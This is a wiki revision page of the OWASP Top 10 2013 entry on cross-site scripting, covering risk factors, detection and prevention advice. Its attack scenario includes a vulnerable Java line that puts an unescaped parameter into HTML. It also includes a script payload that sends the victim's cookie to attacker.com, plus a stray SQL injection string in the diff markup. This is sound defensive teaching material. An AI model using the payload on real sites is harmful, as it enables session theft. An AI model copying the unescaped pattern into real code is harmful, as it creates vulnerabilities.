Difference between revisions of "Top 10 2013-A3-Cross-Site Scripting (XSS)"

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     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
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     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
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     <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.
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Detection of most XSS flaws is fairly easy via testing or code analysis.
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     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
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     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.
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Also consider the business impact of public exposure of the vulnerability.
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You need to ensure that all user supplied input sent back to the browser is properly escaped before it is included in the output page, or it is verified to be safe via input validation. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content. If AJAX is being used to dynamically update the page, you should try to use safe JavaScript APIs. For unsafe JavaScript APIs, encoding or validation must be used.
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Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and pen testing, in addition to automated approaches.
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Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.
 
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How Do I Prevent XSS?
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Preventing XSS requires keeping untrusted data separate from active browser content.
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# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
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# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
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# For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy.
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The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
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{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">
{{Top_10_2010:ExampleBeginTemplate}}<nowiki>http://example.com/app/accountView?id=</nowiki><span style="color: red;">' or '1'='1</span>{{Top_10_2010:ExampleEndTemplate}}
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(String) page += "<input name='creditcard' type='TEXT'  value='" + request.getParameter("CC") + "'>";
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</span>{{Top_10_2010:ExampleEndTemplate}}
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The attacker modifies the 'CC' parameter in their browser to:
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{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">
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'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
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This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
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Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See A8 for info on CSRF.
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Detection of most XSS flaws is fairly easy via testing or code analysis.
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* [[SQL_Injection_Prevention_Cheat_Sheet | OWASP SQL Injection Prevention Cheat Sheet]]
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* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
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OWASP XSS Prevention Cheat Sheet
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OWASP DOM based XSS Prevention Cheat Sheet
* [http://cwe.mitre.org/data/definitions/77.html CWE Entry 77 on Command Injection]
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OWASP Cross-Site Scripting Article
* [http://cwe.mitre.org/data/definitions/89.html CWE Entry 89 on SQL Injection]
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ESAPI Encoder API
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ASVS: Output Encoding/Escaping Requirements (V6)
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OWASP AntiSamy: Sanitization Library
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Testing Guide: 1st 3 Chapters on Data Validation Testing
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OWASP Code Review Guide: Chapter on XSS Review
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OWASP XSS Filter Evasion Cheat Sheet
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External
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CWE Entry 79 on Cross-Site Scripting
  
 
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[[Category:OWASP Top Ten Project]]
 

Revision as of 17:50, 23 February 2013

[[Top 10 {{{year}}}-Broken Authentication and Session Management|← Broken Authentication and Session Management]]
2013 Table of Contents

2013 Top 10 List

[[Top 10 {{{year}}}-Insecure Direct Object References|Insecure Direct Object References →]]
Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts
Application Specific Exploitability
AVERAGE
Prevalence
VERY WIDESPREAD
Detectability
EASY
Impact
MODERATE
Application / Business Specific
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. . Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.

Detection of most XSS flaws is fairly easy via testing or code analysis.

Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

Am I Vulnerable To 'Cross-Site Scripting (XSS)'?

You need to ensure that all user supplied input sent back to the browser is properly escaped before it is included in the output page, or it is verified to be safe via input validation. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content. If AJAX is being used to dynamically update the page, you should try to use safe JavaScript APIs. For unsafe JavaScript APIs, encoding or validation must be used.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and pen testing, in addition to automated approaches.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

How Do I Prevent 'Cross-Site Scripting (XSS)'?

How Do I Prevent XSS? Preventing XSS requires keeping untrusted data separate from active browser content.

  1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
  2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
  3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy.
Example Attack Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the 'CC' parameter in their browser to:

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF. Detection of most XSS flaws is fairly easy via testing or code analysis.

References

OWASP

OWASP XSS Prevention Cheat Sheet
OWASP DOM based XSS Prevention Cheat Sheet
OWASP Cross-Site Scripting Article 
ESAPI Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP AntiSamy: Sanitization Library
Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review
OWASP XSS Filter Evasion Cheat Sheet

External

CWE Entry 79 on Cross-Site Scripting
[[Top 10 {{{year}}}-Broken Authentication and Session Management|← Broken Authentication and Session Management]]
2013 Table of Contents

2013 Top 10 List

[[Top 10 {{{year}}}-Insecure Direct Object References|Insecure Direct Object References →]]

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[[Category:OWASP Top Ten {{{year}}} Project]]